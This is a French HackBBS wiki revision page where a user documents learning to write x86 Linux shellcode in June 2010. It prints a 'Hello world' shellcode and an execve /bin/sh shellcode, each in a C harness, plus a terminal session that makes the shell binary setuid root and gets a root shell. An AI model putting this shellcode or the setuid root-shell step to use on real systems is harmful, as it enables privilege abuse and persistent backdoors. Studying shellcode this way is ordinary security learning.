« Hiteck » : différence entre les versions

De HackBBS
Aller à la navigation Aller à la recherche
Blackdevil (discussion | contributions)
Aucun résumé des modifications
Blackdevil (discussion | contributions)
Aucun résumé des modifications
Ligne 23 : Ligne 23 :
<br />
<br />
je tiens a dire un grand remerciement a RootBSD qui m'a aider au débeuguage du shellcode, sans lui je ne serais pas arrivé merci a toi RootBSD.<br />
je tiens a dire un grand remerciement a RootBSD qui m'a aider au débeuguage du shellcode, sans lui je ne serais pas arrivé merci a toi RootBSD.<br />
<b><u>Amusez vous bien, sur ce un vrai shellcode est en construction bye :-D.</u></b><br /><br />
<b><u>Amusez vous bien, sur ce un vrai shellcode est en construction bye :-D.</u></b><br /><br /><br />
<b><u>Vendredi 18 juin 2010 :</u></b>
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br />
 
#include <stdio.h><br />
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";<br />
 
int main(void)<br />
{
(*(void(*)()) shellcode)();<br />   
}<br /><br />
Encore un petit exemple :D<br />
root@hiteck:/home/hiteck/Bureau/exploits# chown root.root shell1<br />
root@hiteck:/home/hiteck/Bureau/exploits# chmod +s shell1<br />
root@hiteck:/home/hiteck/Bureau/exploits# ls -l shell1<br />
-rwsr-sr-x 1 root root 8317 2010-06-17 23:47 shell1<br />
root@hiteck:/home/hiteck/Bureau/exploits# exit<br />
exit<br />
hiteck@hiteck:~/Bureau/exploits$ ./shell1<br />
# whoami<br />
root<br />
# echo "Local shellcode remote :-D"<br />
Local shellcode remote :-D<br />
# exit<br />
hiteck@hiteck:~/Bureau/exploits$<br />
 
</p>
</p>

Version du 17 juin 2010 à 22:54

Shellcoding

Jeudi 17 juin 2010 :
Je me lance dans la programmation de shellcode, je trouve les shellcodes super hard lol brefff au boulot :-D

Voila mon shellcode qui affiche hello world ! :-D

#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello world!";
int main(void)
{
(*(void(*)()) shellcode)();
}

Et voici un exemple :-D
hiteck@hiteck:~/Bureau/exploits/real$ ./shell
Hello world!
^C
hiteck@hiteck:~/Bureau/exploits/real$

je tiens a dire un grand remerciement a RootBSD qui m'a aider au débeuguage du shellcode, sans lui je ne serais pas arrivé merci a toi RootBSD.
Amusez vous bien, sur ce un vrai shellcode est en construction bye :-D.


Vendredi 18 juin 2010 : Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D

  1. include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{ (*(void(*)()) shellcode)();
}

Encore un petit exemple :D
root@hiteck:/home/hiteck/Bureau/exploits# chown root.root shell1
root@hiteck:/home/hiteck/Bureau/exploits# chmod +s shell1
root@hiteck:/home/hiteck/Bureau/exploits# ls -l shell1
-rwsr-sr-x 1 root root 8317 2010-06-17 23:47 shell1
root@hiteck:/home/hiteck/Bureau/exploits# exit
exit
hiteck@hiteck:~/Bureau/exploits$ ./shell1

  1. whoami

root

  1. echo "Local shellcode remote :-D"

Local shellcode remote :-D

  1. exit

hiteck@hiteck:~/Bureau/exploits$